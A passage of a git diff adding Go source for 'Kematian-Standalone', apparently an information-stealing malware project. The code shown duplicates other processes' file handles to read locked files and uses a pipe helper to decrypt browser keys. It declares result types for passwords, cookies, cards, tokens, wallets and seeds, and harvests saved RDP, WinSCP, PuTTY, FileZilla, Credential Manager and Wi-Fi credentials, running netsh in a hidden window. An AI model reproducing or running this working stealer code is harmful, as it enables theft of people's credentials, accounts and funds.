windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue), + windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS) + windows.CloseHandle(hProcess) + if err != nil { + continue + } + + ft, _, _ := procGetFileType.Call(uintptr(dupHandle)) + if ft != fileTypeDisk2 { + windows.CloseHandle(dupHandle) + continue + } + + handlePath := getHandlePath(uintptr(dupHandle)) + if handlePath == "" || !strings.EqualFold(handlePath, srcPath) { + windows.CloseHandle(dupHandle) + continue + } + + data, err := readFileByMapping(dupHandle) + windows.CloseHandle(dupHandle) + if err == nil { + return data, nil + } + } + + return nil, fmt.Errorf("handle duplication failed for %s", srcPath) +} + +func readFileByMapping(h windows.Handle) ([]byte, error) { + var fileSize int64 + ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize))) + if ok == 0 || fileSize <= 0 { + return nil, fmt.Errorf("empty or unreadable file") + } + + hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0) + if hMapping == 0 { + return nil, fmt.Errorf("CreateFileMappingW failed") + } + defer windows.CloseHandle(windows.Handle(hMapping)) + + baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize)) + if baseAddr == 0 { + return nil, fmt.Errorf("MapViewOfFile failed") + } + defer procUnmapViewOfFile.Call(baseAddr) + + data := make([]byte, fileSize) + copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize)) + return data, nil +} + +func querySystemHandles() ([]systemHandleEntry, error) { + bufSize := uint32(1 * 1024 * 1024) + for { + buf := make([]byte, bufSize) + var returnLength uint32 + status, _, _ := procNtQuerySystemInformation.Call( + SystemExtendedHandleInformation, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(bufSize), + uintptr(unsafe.Pointer(&returnLength)), + ) + if status&0xFFFFFFFF == 0xC0000004 { + bufSize = returnLength + 65536 + if bufSize > 256*1024*1024 { + return nil, fmt.Errorf("handle buffer too large") + } + continue + } + if status != 0 { + return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status) + } + + info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0])) + count := int(info.NumberOfHandles) + handles := make([]systemHandleEntry, count) + for i := 0; i < count; i++ { + entry := (*systemHandleEntry)(unsafe.Pointer( + uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]), + )) + handles[i] = *entry + } + return handles, nil + } +} + +func getHandlePath(handle uintptr) string { + buf := make([]uint16, 32768) + n, _, _ := procGetFinalPathNameByHandle.Call( + handle, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(len(buf)), + 0, + ) + if n == 0 || n >= uintptr(len(buf)) { + return "" + } + s := syscall.UTF16ToString(buf[:n]) + if strings.HasPrefix(s, `\\?\`) { + s = s[4:] + } + return s +} + +func getProcessesLockingFile(filePath string) []uint32 { + suffix := filePath + if len(suffix) > 8 { + suffix = suffix[len(suffix)-8:] + } + sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix) + if err != nil { + return nil + } + + var sessionHandle uint32 + ret, _, _ := procRmStartSession.Call( + uintptr(unsafe.Pointer(&sessionHandle)), 0, + uintptr(unsafe.Pointer(sessionKey)), + ) + if ret != 0 { + return nil + } + defer procRmEndSession.Call(uintptr(sessionHandle)) + + filePathW, err := syscall.UTF16PtrFromString(filePath) + if err != nil { + return nil + } + ret, _, _ = procRmRegisterResources.Call( + uintptr(sessionHandle), 1, + uintptr(unsafe.Pointer(&filePathW)), + 0, 0, 0, 0, + ) + if ret != 0 { + return nil + } + + var needed, count, rebootReason uint32 + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + 0, + uintptr(unsafe.Pointer(&rebootReason)), + ) + if ret != 234 || needed == 0 { + return nil + } + + infos := make([]rmProcessInfo2, needed) + count = needed + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + uintptr(unsafe.Pointer(&infos[0])), + uintptr(unsafe.Pointer(&rebootReason)), + ) + if ret != 0 { + return nil + } + + pids := make([]uint32, 0, count) + for i := uint32(0); i < count; i++ { + pids = append(pids, infos[i].Process.ProcessId) + } + return pids +} diff --git a/Kematian-Standalone/native/recovery/platform/log.go b/Kematian-Standalone/native/recovery/platform/log.go new file mode 100644 index 0000000..85fe259 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/log.go @@ -0,0 +1,7 @@ +package platform + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[platform] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/platform/pipe.go b/Kematian-Standalone/native/recovery/platform/pipe.go new file mode 100644 index 0000000..9aa6956 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/pipe.go @@ -0,0 +1,293 @@ +//go:build windows + +package platform + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "sync" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +type PipeSession struct { + mu sync.Mutex + hPipe windows.Handle + hProcess windows.Handle + pid uint32 + ownsProcess bool + job windows.Handle + closed bool +} + +var ( + modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll") + modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll") + + procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW") + procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe") + procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe") + procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject") + procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe") +) + +func createPipeName() string { + b := make([]byte, 8) + rand.Read(b) + return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b)) +} + +func createPipeServer(pipeName string) (windows.Handle, error) { + namePtr, err := syscall.UTF16PtrFromString(pipeName) + if err != nil { + return 0, err + } + + const ( + PIPE_ACCESS_DUPLEX = 0x3 + PIPE_TYPE_BYTE = 0x0 + PIPE_READMODE_BYTE = 0x0 + PIPE_WAIT = 0x0 + PIPE_UNLIMITED_INSTANCES = 0xFF + ) + + r, _, err := procCreateNamedPipeW.Call( + uintptr(unsafe.Pointer(namePtr)), + PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED, + PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, + PIPE_UNLIMITED_INSTANCES, + 65536, // output buffer + 65536, // input buffer + 15000, // timeout ms + 0, + ) + if r == ^uintptr(0) { + return 0, fmt.Errorf("CreateNamedPipeW: %w", err) + } + return windows.Handle(r), nil +} + +func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error { + hEvent, err := windows.CreateEvent(nil, 1, 0, nil) + if err != nil { + return fmt.Errorf("CreateEvent: %w", err) + } + defer windows.CloseHandle(hEvent) + + ov := windows.Overlapped{HEvent: hEvent} + + r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov))) + if r != 0 { + return nil // already connected + } + + if err == windows.ERROR_PIPE_CONNECTED { + return nil + } + + if err != windows.ERROR_IO_PENDING { + return fmt.Errorf("ConnectNamedPipe: %w", err) + } + + ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs)) + if ret != uintptr(windows.WAIT_OBJECT_0) { + return fmt.Errorf("pipe connect timeout") + } + return nil +} + +func (s *PipeSession) pipeSend(data []byte) error { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return fmt.Errorf("pipe session closed") + } + + length := uint32(len(data)) + lengthBytes := []byte{ + byte(length), + byte(length >> 8), + byte(length >> 16), + byte(length >> 24), + } + + var written uint32 + err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil) + if err != nil || written != 4 { + return fmt.Errorf("write length: %w", err) + } + + if length > 0 { + var totalWritten uint32 + for totalWritten < length { + var n uint32 + err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil) + if err != nil || n == 0 { + return fmt.Errorf("write data: %w", err) + } + totalWritten += n + } + } + + return nil +} + +func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return 0, nil, fmt.Errorf("pipe session closed") + } + + var lengthBuf [4]byte + var totalRead uint32 + deadline := time.Now().Add(10 * time.Second) + + for totalRead < 4 { + if time.Now().After(deadline) { + return 0, nil, fmt.Errorf("pipe recv timeout") + } + + var avail uint32 + r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0) + if r == 0 { + return 0, nil, fmt.Errorf("PeekNamedPipe failed") + } + if avail < 4-totalRead { + time.Sleep(50 * time.Millisecond) + continue + } + + var n uint32 + err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil) + if err != nil || n == 0 { + return 0, nil, fmt.Errorf("read length: %w", err) + } + totalRead += n + } + + totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24 + if totalLen < 1 || totalLen > 100*1024*1024 { + return 0, nil, fmt.Errorf("invalid message length: %d", totalLen) + } + + buf := make([]byte, totalLen) + totalRead = 0 + for totalRead < totalLen { + var n uint32 + err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil) + if err != nil || n == 0 { + return 0, nil, fmt.Errorf("read data: %w", err) + } + totalRead += n + } + + status = buf[0] + data = buf[1:] + return status, data, nil +} + +func (s *PipeSession) Close() { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return + } + s.closed = true + + s.sendExitLocked() + + time.Sleep(100 * time.Millisecond) + + procDisconnectNamedPipe.Call(uintptr(s.hPipe)) + windows.CloseHandle(s.hPipe) + + if s.ownsProcess && s.hProcess != 0 { + if s.job != 0 { + windows.CloseHandle(s.job) + s.job = 0 + } + windows.TerminateProcess(s.hProcess, 0) + windows.WaitForSingleObject(s.hProcess, 3000) + windows.CloseHandle(s.hProcess) + } else if s.hProcess != 0 { + windows.CloseHandle(s.hProcess) + } +} + +func (s *PipeSession) watchExit(label string, timeoutMs uint32) { + h := s.hProcess + if h == 0 { + return + } + go func() { + ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs)) + if ret != uintptr(windows.WAIT_OBJECT_0) { + return + } + s.mu.Lock() + wasClosed := s.closed + s.mu.Unlock() + if wasClosed { + return + } + var code uint32 + if err := windows.GetExitCodeProcess(h, &code); err != nil { + return + } + logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code) + }() +} + +func (s *PipeSession) sendExitLocked() { + exitCmd := []byte("EXIT") + length := uint32(len(exitCmd)) + lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)} + windows.WriteFile(s.hPipe, lengthBytes, nil, nil) + windows.WriteFile(s.hPipe, exitCmd, nil, nil) +} + +func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) { + cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64) + if err := s.pipeSend([]byte(cmd)); err != nil { + return nil, fmt.Errorf("send KEY command: %w", err) + } + + status, data, err := s.pipeRecv() + if err != nil { + return nil, fmt.Errorf("recv KEY response: %w", err) + } + + if status != 0 { + return nil, fmt.Errorf("decrypt failed: %s", string(data)) + } + + return data, nil +} + +func (s *PipeSession) ReadFile(path string) ([]byte, error) { + cmd := fmt.Sprintf("READ:%s", path) + if err := s.pipeSend([]byte(cmd)); err != nil { + return nil, fmt.Errorf("send READ command: %w", err) + } + + status, data, err := s.pipeRecv() + if err != nil { + return nil, fmt.Errorf("recv READ response: %w", err) + } + + if status != 0 { + return nil, fmt.Errorf("read failed: %s", string(data)) + } + + return data, nil +} + +var ActivePipeSession *PipeSession diff --git a/Kematian-Standalone/native/recovery/platform/pipe_stub.go b/Kematian-Standalone/native/recovery/platform/pipe_stub.go new file mode 100644 index 0000000..35ec816 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/pipe_stub.go @@ -0,0 +1,21 @@ +//go:build !windows + +package platform + +import ( + "errors" +) + +type PipeSession struct{} + +var ActivePipeSession *PipeSession + +func (s *PipeSession) Close() {} + +func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) { + return nil, errors.New("not supported") +} + +func (s *PipeSession) ReadFile(path string) ([]byte, error) { + return nil, errors.New("not supported") +} diff --git a/Kematian-Standalone/native/recovery/recovery.go b/Kematian-Standalone/native/recovery/recovery.go new file mode 100644 index 0000000..b62a84a --- /dev/null +++ b/Kematian-Standalone/native/recovery/recovery.go @@ -0,0 +1,60 @@ +package recovery + +import ( + "recovery/recovery/fingerprint" + "recovery/recovery/scanner" + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type CollectOptions = types.CollectOptions +type CollectionResult = types.CollectionResult +type Payload = types.Payload +type BrowserConfig = types.BrowserConfig +type ProfileInfo = types.ProfileInfo +type ResolvedKeys = types.ResolvedKeys +type PasswordResult = types.PasswordResult +type CookieResult = types.CookieResult +type AutofillResult = types.AutofillResult +type HistoryResult = types.HistoryResult +type BookmarkResult = types.BookmarkResult +type CreditCardResult = types.CreditCardResult +type DiscordTokenResult = types.DiscordTokenResult +type FileResult = types.FileResult +type ExtensionResult = types.ExtensionResult +type WalletResult = types.WalletResult +type TelegramResult = types.TelegramResult +type KeyResult = types.KeyResult +type SeedResult = types.SeedResult +type AppCredentialResult = types.AppCredentialResult +type GamingResult = types.GamingResult +type SteamResult = types.SteamResult +type SteamTokenResult = types.SteamTokenResult +type GameInfo = types.GameInfo +type BattleNetResult = types.BattleNetResult +type EpicResult = types.EpicResult +type RiotResult = types.RiotResult +type UplayResult = types.UplayResult +type VPNResult = types.VPNResult +type NordVPNResult = types.NordVPNResult +type WireGuardResult = types.WireGuardResult +type OpenVPNResult = types.OpenVPNResult +type MullvadResult = types.MullvadResult +type FingerprintResult = fingerprint.Result +type FingerprintJSResult = fingerprint.JSResult + +func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() } +func ScanFiles() []FileResult { return scanner.ScanFiles() } +func ScanWallets() []WalletResult { return scanner.ScanWallets() } +func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() } +func ScanKeys() []KeyResult { return scanner.ScanKeys() } +func ScanApps() []AppCredentialResult { return scanner.ScanApps() } +func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) } +func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) } +func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) } +func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() } +func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() } + +func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult { + return scanner.ScanSeeds(files, passwords, autofill) +} diff --git a/Kematian-Standalone/native/recovery/scanner/apps_stub.go b/Kematian-Standalone/native/recovery/scanner/apps_stub.go new file mode 100644 index 0000000..d390734 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/apps_stub.go @@ -0,0 +1,137 @@ +//go:build !windows + +package scanner + +import ( + "encoding/xml" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +func ScanApps() []types.AppCredentialResult { + var results []types.AppCredentialResult + results = append(results, scanFileZillaUnix()...) + if runtime.GOOS == "darwin" { + results = append(results, scanWiFiDarwin()...) + } + return results +} + +type fzServerUnix struct { + XMLName xml.Name `xml:"Server"` + Host string `xml:"Host"` + Port int `xml:"Port"` + Protocol int `xml:"Protocol"` + User string `xml:"User"` + Pass string `xml:"Pass"` +} + +type fzSiteManagerUnix struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServerUnix `xml:"Servers>Server"` +} + +type fzRecentServersUnix struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServerUnix `xml:"RecentServers>Server"` +} + +func scanFileZillaUnix() []types.AppCredentialResult { + var results []types.AppCredentialResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + fzDir := filepath.Join(home, ".config", "filezilla") + if runtime.GOOS == "darwin" { + fzDir = filepath.Join(home, ".config", "filezilla") + } + + for _, file := range []string{"sitemanager.xml", "recentservers.xml"} { + path := filepath.Join(fzDir, file) + data, err := os.ReadFile(path) + if err != nil { + continue + } + + var servers []fzServerUnix + if file == "sitemanager.xml" { + var sm fzSiteManagerUnix + if xml.Unmarshal(data, &sm) == nil { + servers = sm.Servers + } + } else { + var rs fzRecentServersUnix + if xml.Unmarshal(data, &rs) == nil { + servers = rs.Servers + } + } + + for _, s := range servers { + if s.Host == "" { + continue + } + port := s.Port + if port == 0 { + port = 21 + } + protocol := "ftp" + switch s.Protocol { + case 1: + protocol = "sftp" + case 3, 4: + protocol = "ftps" + } + results = append(results, types.AppCredentialResult{ + Application: "FileZilla", + Host: s.Host, + Port: port, + Username: s.User, + Password: s.Pass, + Protocol: protocol, + }) + } + } + + return results +} + +func scanWiFiDarwin() []types.AppCredentialResult { + var results []types.AppCredentialResult + + out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output() + if err != nil { + return nil + } + + var networks []string + for _, line := range strings.Split(string(out), "\n") { + name := strings.TrimSpace(line) + if name == "" || strings.HasPrefix(name, "Preferred networks") { + continue + } + networks = append(networks, name) + } + + for _, name := range networks { + pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output() + password := "" + if err == nil { + password = strings.TrimSpace(string(pw)) + } + results = append(results, types.AppCredentialResult{ + Application: "WiFi", + Host: name, + Password: password, + Protocol: "wifi", + }) + } + + return results +} diff --git a/Kematian-Standalone/native/recovery/scanner/apps_windows.go b/Kematian-Standalone/native/recovery/scanner/apps_windows.go new file mode 100644 index 0000000..a88378b --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/apps_windows.go @@ -0,0 +1,614 @@ +//go:build windows + +package scanner + +import ( + "encoding/xml" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" + + "recovery/recovery/types" +) + +var ( + advapi32 = syscall.NewLazyDLL("advapi32.dll") + procCredEnumerateW = advapi32.NewProc("CredEnumerateW") + procCredFree = advapi32.NewProc("CredFree") +) + +const ( + credTypeGeneric = 1 + credTypeDomainPassword = 2 + credTypeDomainCertificate = 3 +) + +type winCredential struct { + Flags uint32 + Type uint32 + TargetName *uint16 + Comment *uint16 + LastWritten syscall.Filetime + CredentialBlobSize uint32 + CredentialBlob *byte + Persist uint32 + AttributeCount uint32 + Attributes uintptr + TargetAlias *uint16 + UserName *uint16 +} + +func ScanApps() []types.AppCredentialResult { + var results []types.AppCredentialResult + results = append(results, scanRDP()...) + results = append(results, scanWinSCP()...) + results = append(results, scanPuTTY()...) + results = append(results, scanFileZilla()...) + results = append(results, scanCredentialManager()...) + results = append(results, scanWiFi()...) + return results +} + +// ── RDP ──────────────────────────────────────────────────────────────── + +func scanRDP() []types.AppCredentialResult { + var results []types.AppCredentialResult + + // Registry: saved connection history with usernames + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err == nil { + defer k.Close() + servers, _ := k.ReadSubKeyNames(-1) + for _, server := range servers { + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ) + if err != nil { + continue + } + username, _, _ := sk.GetStringValue("UsernameHint") + sk.Close() + + r := types.AppCredentialResult{ + Application: "RDP", + Host: server, + Port: 3389, + Username: username, + Protocol: "rdp", + } + + // Try to get the password from Credential Manager + pw := credManagerLookup("TERMSRV/" + server) + if pw != "" { + r.Password = pw + } + results = append(results, r) + } + } + + // Also scan Credential Manager for TERMSRV/* entries not in the registry + creds := enumCredentials() + seen := make(map[string]bool) + for _, r := range results { + seen[strings.ToLower(r.Host)] = true + } + for _, c := range creds { + target := strings.ToLower(c.target) + if !strings.HasPrefix(target, "termsrv/") { + continue + } + host := c.target[len("TERMSRV/"):] + if seen[strings.ToLower(host)] { + continue + } + results = append(results, types.AppCredentialResult{ + Application: "RDP", + Host: host, + Port: 3389, + Username: c.username, + Password: c.password, + Protocol: "rdp", + }) + } + + // Scan for .rdp files + results = append(results, scanRDPFiles()...) + + return results +} + +func scanRDPFiles() []types.AppCredentialResult { + var results []types.AppCredentialResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + dirs := []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + + for _, dir := range dirs { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") { + continue + } + path := filepath.Join(dir, e.Name()) + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + continue + } + r := parseRDPFile(string(data)) + if r.Host != "" { + r.Extra = path + results = append(results, r) + } + } + } + + return results +} + +func parseRDPFile(content string) types.AppCredentialResult { + r := types.AppCredentialResult{ + Application: "RDP", + Protocol: "rdp", + Port: 3389, + } + for _, line := range strings.Split(content, "\n") { + line = strings.TrimSpace(line) + parts := strings.SplitN(line, ":", 3) + if len(parts) < 3 { + continue + } + key := strings.ToLower(strings.TrimSpace(parts[0])) + val := strings.TrimSpace(parts[2]) + switch key { + case "full address": + if idx := strings.LastIndex(val, ":"); idx > 0 { + if p, err := strconv.Atoi(val[idx+1:]); err == nil { + r.Host = val[:idx] + r.Port = p + continue + } + } + r.Host = val + case "username": + r.Username = val + case "server port": + if p, err := strconv.Atoi(val); err == nil { + r.Port = p + } + } + } + return r +} + +// ── WinSCP ───────────────────────────────────────────────────────────── + +func scanWinSCP() []types.AppCredentialResult { + var results []types.AppCredentialResult + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err != nil { + return nil + } + defer k.Close() + + sessions, _ := k.ReadSubKeyNames(-1) + for _, sess := range sessions { + if sess == "Default%20Settings" { + continue + } + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ) + if err != nil { + continue + } + + hostname, _, _ := sk.GetStringValue("HostName") + username, _, _ := sk.GetStringValue("UserName") + portNum, _, _ := sk.GetIntegerValue("PortNumber") + encPassword, _, _ := sk.GetStringValue("Password") + fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol") + sk.Close() + + if hostname == "" { + continue + } + + port := int(portNum) + if port == 0 { + port = 22 + } + + protocol := "sftp" + switch fsProtocol { + case 0: + protocol = "sftp" + case 5: + protocol = "ftp" + case 1: + protocol = "scp" + } + + password := "" + if encPassword != "" { + password = decryptWinSCPPassword(encPassword, hostname, username) + } + + results = append(results, types.AppCredentialResult{ + Application: "WinSCP", + Host: hostname, + Port: port, + Username: username, + Password: password, + Protocol: protocol, + }) + } + + return results +} + +func decryptWinSCPPassword(hex, hostname, username string) string { + key := username + hostname + + decNextChar := func(s string, idx int) (byte, int) { + if idx+2 > len(s) { + return 0, idx + 2 + } + a, err1 := strconv.ParseUint(string(s[idx]), 16, 8) + b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8) + if err1 != nil || err2 != nil { + return 0, idx + 2 + } + return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2 + } + + idx := 0 + flag, idx := decNextChar(hex, idx) + + if flag == 0xFF { + return "" + } + + _, idx = decNextChar(hex, idx) // skip unused byte + + length, idx := decNextChar(hex, idx) + + delLen, idx := decNextChar(hex, idx) + for i := 0; i < int(delLen); i++ { + _, idx = decNextChar(hex, idx) + } + + raw := make([]byte, 0, int(length)) + for i := 0; i < int(length); i++ { + c, newIdx := decNextChar(hex, idx) + idx = newIdx + raw = append(raw, c) + } + + if len(key) > 0 { + decrypted := make([]byte, len(raw)) + for i, c := range raw { + decrypted[i] = c ^ key[i%len(key)] + } + return string(decrypted) + } + + return string(raw) +} + +// ── PuTTY ────────────────────────────────────────────────────────────── + +func scanPuTTY() []types.AppCredentialResult { + var results []types.AppCredentialResult + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err != nil { + return nil + } + defer k.Close() + + sessions, _ := k.ReadSubKeyNames(-1) + for _, sess := range sessions { + if sess == "Default%20Settings" { + continue + } + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ) + if err != nil { + continue + } + + hostname, _, _ := sk.GetStringValue("HostName") + username, _, _ := sk.GetStringValue("UserName") + portNum, _, _ := sk.GetIntegerValue("PortNumber") + protocol, _, _ := sk.GetStringValue("Protocol") + keyFile, _, _ := sk.GetStringValue("PublicKeyFile") + proxyHost, _, _ := sk.GetStringValue("ProxyHost") + sk.Close() + + if hostname == "" { + continue + } + + port := int(portNum) + if port == 0 { + port = 22 + } + if protocol == "" { + protocol = "ssh" + } + + extra := "" + if keyFile != "" || proxyHost != "" { + parts := []string{} + if keyFile != "" { + parts = append(parts, "key:"+keyFile) + } + if proxyHost != "" { + parts = append(parts, "proxy:"+proxyHost) + } + extra = strings.Join(parts, "; ") + } + + // URL-decode session name for display purposes + decodedName := strings.ReplaceAll(sess, "%20", " ") + _ = decodedName + + results = append(results, types.AppCredentialResult{ + Application: "PuTTY", + Host: hostname, + Port: port, + Username: username, + Protocol: protocol, + Extra: extra, + }) + } + + return results +} + +// ── FileZilla ────────────────────────────────────────────────────────── + +type fzServer struct { + XMLName xml.Name `xml:"Server"` + Host string `xml:"Host"` + Port int `xml:"Port"` + Protocol int `xml:"Protocol"` + User string `xml:"User"` + Pass string `xml:"Pass"` +} + +type fzSiteManager struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServer `xml:"Servers>Server"` +} + +type fzRecentServers struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServer `xml:"RecentServers>Server"` +} + +func scanFileZilla() []types.AppCredentialResult { + var results []types.AppCredentialResult + + appdata := os.Getenv("APPDATA") + if appdata == "" { + return nil + } + fzDir := filepath.Join(appdata, "FileZilla") + + for _, file := range []string{"sitemanager.xml", "recentservers.xml"} { + path := filepath.Join(fzDir, file) + data, err := os.ReadFile(path) + if err != nil { + continue + } + + var servers []fzServer + if file == "sitemanager.xml" { + var sm fzSiteManager + if xml.Unmarshal(data, &sm) == nil { + servers = sm.Servers + } + } else { + var rs fzRecentServers + if xml.Unmarshal(data, &rs) == nil { + servers = rs.Servers + } + } + + for _, s := range servers { + if s.Host == "" { + continue + } + port := s.Port + if port == 0 { + port = 21 + } + protocol := "ftp" + switch s.Protocol { + case 1: + protocol = "sftp" + case 3, 4: + protocol = "ftps" + } + + results = append(results, types.AppCredentialResult{ + Application: "FileZilla", + Host: s.Host, + Port: port, + Username: s.User, + Password: s.Pass, + Protocol: protocol, + }) + } + } + + return results +} + +// ── Windows Credential Manager ───────────────────────────────────────── + +type credEntry struct { + target string + username string + password string + credType uint32 +} + +func enumCredentials() []credEntry { + var count uint32 + var credsPtr uintptr + + ret, _, _ := procCredEnumerateW.Call( + 0, + 0, + uintptr(unsafe.Pointer(&count)), + uintptr(unsafe.Pointer(&credsPtr)), + ) + if ret == 0 || count == 0 { + return nil + } + defer procCredFree.Call(credsPtr) + + var results []credEntry + for i := uint32(0); i < count; i++ { + entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0)))) + c := (*winCredential)(unsafe.Pointer(entryPtr)) + target := windows.UTF16PtrToString(c.TargetName) + username := "" + if c.UserName != nil { + username = windows.UTF16PtrToString(c.UserName) + } + password := "" + if c.CredentialBlobSize > 0 && c.CredentialBlob != nil { + blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize) + password = string(blob) + } + results = append(results, credEntry{ + target: target, + username: username, + password: password, + credType: c.Type, + }) + } + return results +} + +func credManagerLookup(target string) string { + target = strings.ToLower(target) + for _, c := range enumCredentials() { + if strings.ToLower(c.target) == target { + return c.password + } + } + return "" +} + +func scanCredentialManager() []types.AppCredentialResult { + var results []types.AppCredentialResult + + for _, c := range enumCredentials() { + target := strings.ToLower(c.target) + // Skip TERMSRV entries (already handled by RDP scanner) + if strings.HasPrefix(target, "termsrv/") { + continue + } + // Skip entries with no useful data + if c.username == "" && c.password == "" { + continue + } + + typeName := "generic" + switch c.credType { + case credTypeDomainPassword: + typeName = "domain" + case credTypeDomainCertificate: + typeName = "certificate" + } + + results = append(results, types.AppCredentialResult{ + Application: "CredManager", + Host: c.target, + Username: c.username, + Password: c.password, + Protocol: typeName, + }) + } + + return results +} + +// ── WiFi ─────────────────────────────────────────────────────────────── + +func scanWiFi() []types.AppCredentialResult { + var results []types.AppCredentialResult + + cmd := exec.Command("netsh", "wlan", "show", "profiles") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + out, err := cmd.Output() + if err != nil { + return nil + } + + var profiles []string + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if idx := strings.Index(line, ": "); idx >= 0 { + lower := strings.ToLower(line[:idx]) + if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") { + name := 